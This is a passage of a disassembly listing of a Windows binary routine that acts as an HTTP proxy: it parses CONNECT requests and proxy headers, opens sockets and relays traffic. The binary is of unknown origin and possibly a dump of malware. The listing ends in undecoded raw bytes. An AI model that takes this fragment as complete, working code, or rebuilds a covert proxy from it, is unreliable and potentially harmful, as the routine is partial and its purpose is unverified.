call sub_401226
mov ecx, esi
call sub_40179E
pop edi
pop esi
retn
sub_428250 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4282C0 proc near ; CODE XREF: sub_401D2Aj
var_B0 = byte ptr -0B0h
var_AA = byte ptr -0AAh
var_A8 = byte ptr -0A8h
var_A7 = byte ptr -0A7h
var_8C = byte ptr -8Ch
var_74 = byte ptr -74h
var_5C = byte ptr -5Ch
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = byte ptr -46h
var_3C = byte ptr -3Ch
var_34 = byte ptr -34h
var_2C = dword ptr -2Ch
var_26 = byte ptr -26h
var_24 = byte ptr -24h
var_20 = byte ptr -20h
var_18 = byte ptr -18h
var_C = byte ptr -0Ch
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_C = byte ptr 10h
arg_10 = byte ptr 14h
arg_14 = byte ptr 18h
arg_24 = byte ptr 28h
arg_28 = byte ptr 2Ch
arg_34 = byte ptr 38h
arg_3C = byte ptr 40h
arg_40 = byte ptr 44h
arg_44 = byte ptr 48h
arg_48 = byte ptr 4Ch
arg_4A = word ptr 4Eh
arg_4C = dword ptr 50h
arg_50 = dword ptr 54h
arg_54 = dword ptr 58h
arg_58 = dword ptr 5Ch
arg_64 = byte ptr 68h
arg_68 = byte ptr 6Ch
arg_6C = byte ptr 70h
arg_91 = byte ptr 95h
arg_98 = byte ptr 9Ch
arg_9D = byte ptr 0A1h
arg_AD = byte ptr 0B1h
arg_D0 = dword ptr 0D4h
arg_D4 = byte ptr 0D8h
arg_E0 = dword ptr 0E4h
arg_E4 = byte ptr 0E8h
arg_EC = dword ptr 0F0h
arg_F0 = byte ptr 0F4h
arg_FC = byte ptr 100h
arg_108 = byte ptr 10Ch
arg_12C = byte ptr 130h
arg_150 = byte ptr 154h
arg_15C = byte ptr 160h
arg_180 = byte ptr 184h
arg_18C = byte ptr 190h
arg_1A4 = byte ptr 1A8h
arg_1B0 = byte ptr 1B4h
arg_1F8 = byte ptr 1FCh
arg_210 = byte ptr 214h
arg_228 = byte ptr 22Ch
arg_230 = byte ptr 234h
arg_240 = byte ptr 244h
arg_244 = dword ptr 248h
arg_248 = dword ptr 24Ch
arg_24C = dword ptr 250h
arg_258 = byte ptr 25Ch
arg_374 = byte ptr 378h
arg_3EC = byte ptr 3F0h
arg_3FC = byte ptr 400h
arg_40C = byte ptr 410h
arg_41C = byte ptr 420h
arg_42C = byte ptr 430h
arg_43C = byte ptr 440h
arg_44C = byte ptr 450h
arg_45C = byte ptr 460h
arg_478 = byte ptr 47Ch
arg_4478 = byte ptr 447Ch
arg_53D0 = dword ptr 53D4h
arg_53E0 = dword ptr 53E4h
arg_5434 = byte ptr 5438h
arg_5444 = byte ptr 5448h
arg_544C = dword ptr 5450h
arg_5454 = dword ptr 5458h
arg_5480 = dword ptr 5484h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43BA92
push eax
mov eax, 5488h
mov large fs:0, esp
call sub_436840
push ebx
push ebp
push esi
mov ebp, ecx
or esi, 0FFFFFFFFh
push edi
mov [ebp+0BFh], esi
mov byte ptr [esp+11h], 0
mov [esp+1Ch+var_A], 0
loc_4282F8: ; CODE XREF: sub_4282C0+FC6j
lea ecx, [esp+1Ch+arg_98]
call sub_401B36
lea ecx, [esp+1Ch+var_8]
mov [esp+1Ch+arg_5480], 0
mov [esp+1Ch+var_9], 0
call sub_401424
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_374]
push 104h
push eax
push ecx
mov byte ptr [esp+2Ch+arg_5480], 1
call sub_401280
add esp, 10h
test al, al
jz loc_429310
lea edx, [esp+1Ch+arg_374]
lea ecx, [esp+1Ch+arg_10]
push edx
call sub_401861
push offset byte_446F60
lea ecx, [esp+20h+arg_10]
mov byte ptr [esp+20h+arg_5480], 2
call sub_4012EE
test eax, eax
jnz short loc_4283B0
lea ecx, [esp+1Ch+arg_10]
mov byte ptr [esp+1Ch+arg_5480], 1
call sub_401226
lea ecx, [esp+1Ch+var_8]
mov byte ptr [esp+1Ch+arg_5480], 0
call sub_401226
lea ecx, [esp+1Ch+arg_98]
mov [esp+1Ch+arg_5480], esi
call sub_4014B0
jmp loc_429280
; ---------------------------------------------------------------------------
loc_4283B0: ; CODE XREF: sub_4282C0+B4j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_210]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset off_445248
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 3
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_210]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz short loc_428475
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_1F8]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
mov [esp+28h+var_9], 1
call sub_4016AE
lea edx, [esp+1Ch+arg_98]
mov ecx, eax
push edx
mov byte ptr [esp+20h+arg_5480], 4
call sub_4017E4
push eax
call sub_401938
add esp, 8
lea ecx, [esp+1Ch+arg_1F8]
test al, al
setz bl
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset aHttp ; "http"
lea ecx, [esp+20h+arg_98]
call sub_4012EE
test eax, eax
jnz loc_4292FF
jmp loc_42866A
; ---------------------------------------------------------------------------
loc_428475: ; CODE XREF: sub_4282C0+137j
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_228]
push 0
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset aConnect_0 ; "CONNECT"
mov ecx, eax
mov byte ptr [esp+20h+arg_5480], 5
call sub_401500
test eax, eax
lea ecx, [esp+1Ch+arg_228]
mov byte ptr [esp+1Ch+arg_5480], 2
setz bl
call sub_401226
test bl, bl
jz loc_42866A
push offset aConnect ; "connect"
lea ecx, [esp+20h+arg_98]
mov [esp+20h+var_9], 0
call sub_4015D7
push offset byte_446F60
lea ecx, [esp+20h+arg_F0]
call sub_4015D7
push offset asc_443600 ; " "
lea ecx, [esp+20h+arg_108]
push 1
push ecx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C84 ; ":"
lea edx, [esp+20h+arg_150]
push 0
push edx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 6
call sub_4016AE
push eax
lea ecx, [esp+20h+arg_AD]
mov byte ptr [esp+20h+arg_5480], 7
call sub_401FBE
lea ecx, [esp+1Ch+arg_150]
mov byte ptr [esp+1Ch+arg_5480], 6
call sub_401226
lea ecx, [esp+1Ch+arg_108]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_258]
push 1
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+20h+arg_180]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 8
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 9
call sub_4017E4
test eax, eax
lea ecx, [esp+1Ch+arg_180]
mov byte ptr [esp+1Ch+arg_5480], 8
setz bl
call sub_401226
lea ecx, [esp+1Ch+arg_258]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
test bl, bl
jnz loc_4292FF
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_240]
push 1
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset asc_443C84 ; ":"
lea ecx, [esp+20h+arg_1B0]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+28h+arg_5480], 0Ah
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+1Ch+arg_5480], 0Bh
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+1Ch+arg_1B0]
mov [esp+1Ch+arg_EC], eax
mov byte ptr [esp+1Ch+arg_5480], 0Ah
call sub_401226
lea ecx, [esp+1Ch+arg_240]
mov byte ptr [esp+1Ch+arg_5480], 2
call sub_401226
mov eax, [esp+1Ch+arg_EC]
test eax, eax
jnz short loc_42866A
mov [esp+1Ch+arg_EC], 50h
loc_42866A: ; CODE XREF: sub_4282C0+1B0j
; sub_4282C0+1FCj ...
push offset asc_443600 ; " "
lea edx, [esp+20h+arg_28]
push 0
push edx
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F60
lea ecx, [esp+20h+arg_28]
mov byte ptr [esp+20h+arg_5480], 0Ch
call sub_4012EE
test eax, eax
jz loc_4292EE
push offset asc_443600 ; " "
lea eax, [esp+20h+arg_40]
push 2
push eax
lea ecx, [esp+28h+arg_10]
call sub_4016AE
push offset byte_446F60
lea ecx, [esp+20h+arg_40]
mov byte ptr [esp+20h+arg_5480], 0Dh
call sub_4012EE
test eax, eax
jz loc_4292DD
lea ecx, [esp+1Ch+arg_AD]
push ecx
lea ecx, [esp+20h+arg_68]
call sub_4014C9
mov ecx, 1000h
xor eax, eax
lea edi, [esp+1Ch+arg_478]
or ebx, 0FFFFFFFFh
rep stosd
mov edi, offset aHttprox ; "HTTPROX"
mov ecx, ebx
repne scasb
not ecx
sub edi, ecx
lea edx, [esp+1Ch+arg_4478]
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte ptr [esp+1Ch+arg_5480], 0Eh
shr ecx, 2
rep movsd
mov ecx, eax
lea eax, [esp+1Ch+arg_4478]
and ecx, 3
rep movsb
mov esi, offset asc_445220 ; "\r\n"
loc_428731: ; CODE XREF: sub_4282C0+48Fj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428755
test cl, cl
jz short loc_428751
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428755
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428731
loc_428751: ; CODE XREF: sub_4282C0+47Bj
xor eax, eax
jmp short loc_428759
; ---------------------------------------------------------------------------
loc_428755: ; CODE XREF: sub_4282C0+477j
; sub_4282C0+485j
sbb eax, eax
sbb eax, ebx
loc_428759: ; CODE XREF: sub_4282C0+493j
test eax, eax
jz loc_428833
mov edi, dword_50FACC
loc_428767: ; CODE XREF: sub_4282C0+56Dj
mov esi, offset byte_446F60
lea eax, [esp+1Ch+arg_4478]
loc_428773: ; CODE XREF: sub_4282C0+4D1j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428797
test cl, cl
jz short loc_428793
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428797
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428773
loc_428793: ; CODE XREF: sub_4282C0+4BDj
xor eax, eax
jmp short loc_42879B
; ---------------------------------------------------------------------------
loc_428797: ; CODE XREF: sub_4282C0+4B9j
; sub_4282C0+4C7j
sbb eax, eax
sbb eax, ebx
loc_42879B: ; CODE XREF: sub_4282C0+4D5j
test eax, eax
jz loc_428833
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+20h+arg_4478]
push 1000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_429339
lea edx, [esp+1Ch+arg_4478]
push 4000h
lea eax, [esp+20h+arg_478]
push edx
push eax
call edi
push 4000h
lea ecx, [esp+2Ch+arg_478]
push offset asc_445220 ; "\r\n"
push ecx
call edi
add esp, 18h
mov esi, offset asc_445220 ; "\r\n"
lea eax, [esp+1Ch+arg_4478]
loc_428803: ; CODE XREF: sub_4282C0+561j
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428827
test cl, cl
jz short loc_428823
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428827
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428803
loc_428823: ; CODE XREF: sub_4282C0+54Dj
xor eax, eax
jmp short loc_42882B
; ---------------------------------------------------------------------------
loc_428827: ; CODE XREF: sub_4282C0+549j
; sub_4282C0+557j
sbb eax, eax
sbb eax, ebx
loc_42882B: ; CODE XREF: sub_4282C0+565j
test eax, eax
jnz loc_428767
loc_428833: ; CODE XREF: sub_4282C0+49Bj
; sub_4282C0+4DDj
mov esi, dword_50FAF8
lea eax, [esp+1Ch+arg_478]
push offset aProxyConnectio ; "Proxy-Connection:"
push eax
call esi
add esp, 8
test eax, eax
jz short loc_428887
push offset asc_443C84 ; ":"
push eax
call esi
add esp, 8
inc eax
jz short loc_428887
cmp byte ptr [eax], 20h
jnz short loc_42886B
loc_428862: ; CODE XREF: sub_4282C0+5A9j
mov cl, [eax+1]
inc eax
cmp cl, 20h
jz short loc_428862
loc_42886B: ; CODE XREF: sub_4282C0+5A0j
push offset aKeepAlive ; "Keep-Alive"
push eax
call near ptr 77C4624Eh
nop
add esp, 8
test eax, eax
jz short loc_428887
mov byte ptr [ebp+0BAh], 1
jmp short loc_42888E
; ---------------------------------------------------------------------------
loc_428887: ; CODE XREF: sub_4282C0+58Dj
; sub_4282C0+59Bj ...
mov byte ptr [ebp+0BAh], 0
loc_42888E: ; CODE XREF: sub_4282C0+5C5j
cmp [ebp+0BFh], ebx
jnz loc_428926
push 6
push 1
push 2
call near ptr 71AB3B91h
nop
cmp eax, ebx
mov [ebp+0BFh], eax
jz loc_42940D
mov edx, [esp+28h+arg_E0]
xor ecx, ecx
mov [esp+28h+arg_4C], ecx
push edx
mov [esp+2Ch+arg_50], ecx
mov word ptr [esp+2Ch+arg_4C], 2
mov [esp+2Ch+arg_54], ecx
mov [esp+2Ch+arg_58], ecx
nop
call near ptr 71AB2B66h
lea ecx, [esp+2Ch+arg_9D]
mov [esp+2Ch+arg_4A], ax
call sub_4017E4
push eax
call sub_40187F
add esp, 4
cmp eax, ebx
mov [esp+2Ch+arg_4C], eax
jz loc_42934B
mov ecx, [ebp+0BFh]
lea eax, [esp+2Ch+arg_48]
push 10h
push eax
push ecx
nop
call near ptr 71AB406Ah
cmp eax, ebx
jz loc_4293A8
loc_428926: ; CODE XREF: sub_4282C0+5D4j
mov al, [esp+13h]
test al, al
jz loc_428FCE
mov al, [ebp+0BAh]
test al, al
jz short loc_428971
lea edx, [esp+38h+arg_45C]
lea ecx, [esp+38h+arg_24]
push edx
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea eax, [esp+48h+var_24]
push offset aSSSConnectionK ; "%s %s %s\r\nConnection: Keep-Alive\r\n%s"
push eax
jmp short loc_4289A4
; ---------------------------------------------------------------------------
loc_428971: ; CODE XREF: sub_4282C0+67Aj
lea ecx, [esp+38h+arg_45C]
push ecx
lea ecx, [esp+3Ch+arg_24]
call sub_4017E4
push eax
lea ecx, [esp+40h+arg_D4]
call sub_4017E4
push eax
lea ecx, [esp+44h+arg_C]
call sub_4017E4
push eax
lea edx, [esp+48h+var_24]
push offset aSSSConnectionC ; "%s %s %s\r\nConnection: close\r\n%s"
push edx
loc_4289A4: ; CODE XREF: sub_4282C0+6AFj
call sub_40102D
add esp, 18h
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
push eax
mov eax, [ebp+0BFh]
push eax
call near ptr 71AB428Ah
nop
test eax, eax
jz loc_4293F2
cmp eax, ebx
jz loc_4293F2
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+4Ch+arg_44C]
push 4000h
push ecx
push edx
call sub_401280
add esp, 10h
test al, al
jz loc_42941F
mov edi, offset asc_445220 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+48h+arg_44C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+4Ch+arg_44C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+4Ch+arg_44C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
call near ptr 71AB428Ah
nop
xor ebx, ebx
mov esi, offset asc_445220 ; "\r\n"
mov [esp+58h+var_2C], ebx
lea eax, [esp+58h+arg_43C]
loc_428A6E: ; CODE XREF: sub_4282C0+7CCj
mov dl, [eax]
mov cl, dl
cmp dl, [esi]
jnz short loc_428A92
test cl, cl
jz short loc_428A8E
mov dl, [eax+1]
mov cl, dl
cmp dl, [esi+1]
jnz short loc_428A92
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428A6E
loc_428A8E: ; CODE XREF: sub_4282C0+7B8j
xor eax, eax
jmp short loc_428A97
; ---------------------------------------------------------------------------
loc_428A92: ; CODE XREF: sub_4282C0+7B4j
; sub_4282C0+7C2j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428A97: ; CODE XREF: sub_4282C0+7D0j
test eax, eax
jz loc_428E19
loc_428A9F: ; CODE XREF: sub_4282C0+B48j
mov esi, offset byte_446F60
lea eax, [esp+58h+arg_43C]
loc_428AAB: ; CODE XREF: sub_4282C0+80Dj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
test cl, cl
jz short loc_428ACF
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428AD3
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428AAB
loc_428ACF: ; CODE XREF: sub_4282C0+7F7j
xor eax, eax
jmp short loc_428AD8
; ---------------------------------------------------------------------------
loc_428AD3: ; CODE XREF: sub_4282C0+7F3j
; sub_4282C0+803j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428AD8: ; CODE XREF: sub_4282C0+811j
test eax, eax
jz loc_428E15
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+5Ch+arg_43C]
push 4000h
push eax
push ecx
call sub_401280
add esp, 10h
test al, al
jz loc_428E10
lea edx, [esp+58h+arg_43C]
lea ecx, [esp+58h+arg_44]
push edx
call sub_401861
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_1A4]
push 0
push eax
lea ecx, [esp+64h+arg_44]
mov [esp+64h+arg_5444], 0Fh
call sub_4016AE
push offset aContentLength ; "Content-Length:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 10h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_1A4]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428BBA
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_E4]
push 1
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
mov ecx, eax
mov [esp+58h+arg_5444], 11h
call sub_4017E4
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+58h+arg_E4]
mov [esp+58h+var_2C], eax
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428BBA: ; CODE XREF: sub_4282C0+8ACj
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_FC]
push 0
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aTransferEncodi ; "Transfer-Encoding:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 12h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_FC]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428C49
push offset asc_443600 ; " "
lea eax, [esp+5Ch+arg_12C]
push 1
push eax
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aChunked ; "chunked"
mov ecx, eax
mov [esp+5Ch+arg_5444], 13h
call sub_401500
lea ecx, [esp+58h+arg_12C]
mov [esp+58h+arg_5444], 0Fh
call sub_401226
loc_428C49: ; CODE XREF: sub_4282C0+944j
push offset asc_443600 ; " "
lea ecx, [esp+5Ch+arg_15C]
push 0
push ecx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aConnection ; "Connection:"
mov ecx, eax
mov [esp+5Ch+arg_5444], 14h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_15C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
jz short loc_428CE4
push offset asc_443600 ; " "
lea edx, [esp+5Ch+arg_18C]
push 1
push edx
lea ecx, [esp+64h+arg_44]
call sub_4016AE
push offset aKeepAlive ; "Keep-Alive"
mov ecx, eax
mov [esp+5Ch+arg_5444], 15h
call sub_401500
test eax, eax
lea ecx, [esp+58h+arg_18C]
mov [esp+58h+arg_5444], 0Fh
setz bl
call sub_401226
test bl, bl
setnz [esp+58h+var_47]
loc_428CE4: ; CODE XREF: sub_4282C0+9D3j
mov esi, offset asc_445220 ; "\r\n"
lea eax, [esp+58h+arg_43C]
loc_428CF0: ; CODE XREF: sub_4282C0+A52j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
test cl, cl
jz short loc_428D14
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D18
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428CF0
loc_428D14: ; CODE XREF: sub_4282C0+A3Cj
xor eax, eax
jmp short loc_428D1D
; ---------------------------------------------------------------------------
loc_428D18: ; CODE XREF: sub_4282C0+A38j
; sub_4282C0+A48j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D1D: ; CODE XREF: sub_4282C0+A56j
test eax, eax
jz loc_428DB9
mov esi, offset byte_446F60
lea eax, [esp+58h+arg_43C]
loc_428D31: ; CODE XREF: sub_4282C0+A93j
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
test cl, cl
jz short loc_428D55
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428D59
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428D31
loc_428D55: ; CODE XREF: sub_4282C0+A7Dj
xor eax, eax
jmp short loc_428D5E
; ---------------------------------------------------------------------------
loc_428D59: ; CODE XREF: sub_4282C0+A79j
; sub_4282C0+A89j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428D5E: ; CODE XREF: sub_4282C0+A97j
test eax, eax
jz short loc_428DB9
mov edi, offset asc_445220 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+58h+arg_43C]
repne scasb
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
lea edi, [esp+5Ch+arg_43C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
lea eax, [esp+5Ch+arg_43C]
push ecx
mov ecx, [ebp+0BBh]
push eax
push ecx
call near ptr 71AB428Ah
nop
loc_428DB9: ; CODE XREF: sub_4282C0+A5Fj
; sub_4282C0+AA0j
lea ecx, [esp+68h+arg_34]
mov [esp+68h+arg_5434], 0Eh
call sub_401226
mov esi, offset asc_445220 ; "\r\n"
lea eax, [esp+68h+arg_42C]
loc_428DD9: ; CODE XREF: sub_4282C0+B3Bj
mov dl, [eax]
mov bl, [esi]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
test cl, cl
jz short loc_428DFD
mov dl, [eax+1]
mov bl, [esi+1]
mov cl, dl
cmp dl, bl
jnz short loc_428E01
add eax, 2
add esi, 2
test cl, cl
jnz short loc_428DD9
loc_428DFD: ; CODE XREF: sub_4282C0+B25j
xor eax, eax
jmp short loc_428E06
; ---------------------------------------------------------------------------
loc_428E01: ; CODE XREF: sub_4282C0+B21j
; sub_4282C0+B31j
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_428E06: ; CODE XREF: sub_4282C0+B3Fj
test eax, eax
jnz loc_428A9F
jmp short loc_428E15
; ---------------------------------------------------------------------------
loc_428E10: ; CODE XREF: sub_4282C0+840j
mov [esp+58h+var_46], 1
loc_428E15: ; CODE XREF: sub_4282C0+81Aj
; sub_4282C0+B4Ej
mov ebx, [esp+58h+var_2C]
loc_428E19: ; CODE XREF: sub_4282C0+7D9j
mov al, [esp+58h+var_47]
push 0
test al, al
jz short loc_428E41
mov edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [ebp+0BBh]
not ecx
dec ecx
push ecx
push offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
push eax
jmp short loc_428E5D
; ---------------------------------------------------------------------------
loc_428E41: ; CODE XREF: sub_4282C0+B61j
mov edi, offset aConnectionClos ; "Connection: Close\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
mov ecx, [ebp+0BBh]
push offset aConnectionClos ; "Connection: Close\r\n"
push ecx
loc_428E5D: ; CODE XREF: sub_4282C0+B7Fj
nop
call near ptr 71AB428Ah
mov edi, offset asc_445220 ; "\r\n"
or ecx, 0FFFFFFFFh
xor eax, eax
lea edx, [esp+68h+arg_42C]
repne scasb
not ecx
sub edi, ecx
push 0
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, [ebp+0BBh]
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
lea edi, [esp+6Ch+arg_42C]
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
lea ecx, [esp+70h+arg_42C]
push ecx
push edx
call near ptr 71AB428Ah
nop
test ebx, ebx
jz loc_428F8C
xor edi, edi
test ebx, ebx
jle short loc_428F14
loc_428EC3: ; CODE XREF: sub_4282C0+C52j
mov eax, ebx
sub eax, edi
cmp eax, 4000h
jbe short loc_428F14
mov edx, [ebp+0BFh]
push 0
lea ecx, [esp+7Ch+arg_41C]
push 4000h
push ecx
push edx
call near ptr 71AB615Ah
nop
mov esi, eax
cmp esi, 1
jl short loc_428F14
cmp esi, 0FFFFFFFFh
jz short loc_428F14
mov ecx, [ebp+0BBh]
push 0
lea eax, [esp+8Ch+arg_40C]
push esi
push eax
push ecx
call near ptr 71AB428Ah
nop
add edi, esi
cmp edi, ebx
jl short loc_428EC3
loc_428F14: ; CODE XREF: sub_4282C0+C01j
; sub_4282C0+C0Cj ...
mov eax, ebx
sub eax, edi
jz short loc_428F5E
loc_428F1A: ; CODE XREF: sub_4282C0+C9Cj
push 0
push eax
mov eax, [ebp+0BFh]
lea edx, [esp+0A0h+arg_3FC]
push edx
push eax
nop
call near ptr 71AB615Ah
mov esi, eax
cmp esi, 1
jl short loc_428F5E
cmp esi, 0FFFFFFFFh
jz short loc_428F5E
mov edx, [ebp+0BBh]
push 0
lea ecx, [esp+0ACh+arg_3EC]
push esi
push ecx
push edx
call near ptr 71AB428Ah
nop
add edi, esi
mov eax, ebx
sub eax, edi
jnz short loc_428F1A
loc_428F5E: ; CODE XREF: sub_4282C0+C58j
; sub_4282C0+C77j ...
mov al, [ebp+0BAh]
test al, al
jnz loc_4291EF
mov ecx, [ebp+0BBh]
push ecx
call near ptr 71AB9639h
nop
or esi, 0FFFFFFFFh
mov [esp+0BCh+var_AA], 1
mov [ebp+0BBh], esi
jmp loc_4291F2
; ---------------------------------------------------------------------------
loc_428F8C: ; CODE XREF: sub_4282C0+BF7j
mov esi, dword_50FC90
loc_428F92: ; CODE XREF: sub_4282C0+D0Cj
mov ecx, [ebp+0BFh]
push 0
lea eax, [esp+7Ch+arg_41C]
push 4000h
push eax
push ecx
call esi
cmp eax, 1
jl short loc_428F5E
cmp eax, 0FFFFFFFFh
jz short loc_428F5E
push 0
push eax
mov eax, [ebp+0BBh]
lea edx, [esp+90h+arg_40C]
push edx
push eax
call near ptr 71AB428Ah
nop
jmp short loc_428F92
; ---------------------------------------------------------------------------
loc_428FCE: ; CODE XREF: sub_4282C0+66Cj
lea ecx, [esp+38h+var_24]
push offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
push ecx
call sub_40102D
add esp, 8
lea ecx, [esp+38h+var_24]
push 0
call sub_4013D9
push eax
lea ecx, [esp+40h+var_24]
call sub_4017E4
mov edx, [ebp+0BBh]
push eax
push edx
nop
call near ptr 71AB428Ah
test eax, eax
jz loc_429492
cmp eax, ebx
jz loc_429492
mov ebx, dword_50FC90
mov eax, [ebp+0BBh]
mov edx, [ebp+0BFh]
mov [esp+48h+arg_248], eax
mov [esp+48h+arg_244], 1
xor eax, eax
lea ecx, [esp+48h+arg_248]
loc_429040: ; CODE XREF: sub_4282C0+D8Bj
cmp [ecx], edx
jz short loc_42904D
inc eax
add ecx, 4
cmp eax, 1
jb short loc_429040
loc_42904D: ; CODE XREF: sub_4282C0+D82j
cmp eax, 1
jnz short loc_429064
mov [esp+48h+arg_24C], edx
mov [esp+48h+arg_244], 2
loc_429064: ; CODE XREF: sub_4282C0+D90j
mov ecx, 1000h
xor eax, eax
lea edi, [esp+48h+arg_44C]
push eax
rep stosd
push eax
lea ecx, [esp+50h+arg_244]
push eax
push ecx
push eax
nop
call near ptr 71AB2DC0h
mov eax, [ebp+0BBh]
lea edx, [esp+5Ch+arg_230]
push edx
push eax
call sub_436F60
; ---------------------------------------------------------------------------
dw 0C085h
dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
dd 0A024848Dh, 50000004h, 0B1B4E851h, 83907168h, 840FFFF8h
dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
dd 0DE6Ch, 4274C085h, 0BF958Bh, 6A0000h, 9C248C8Dh, 68000004h
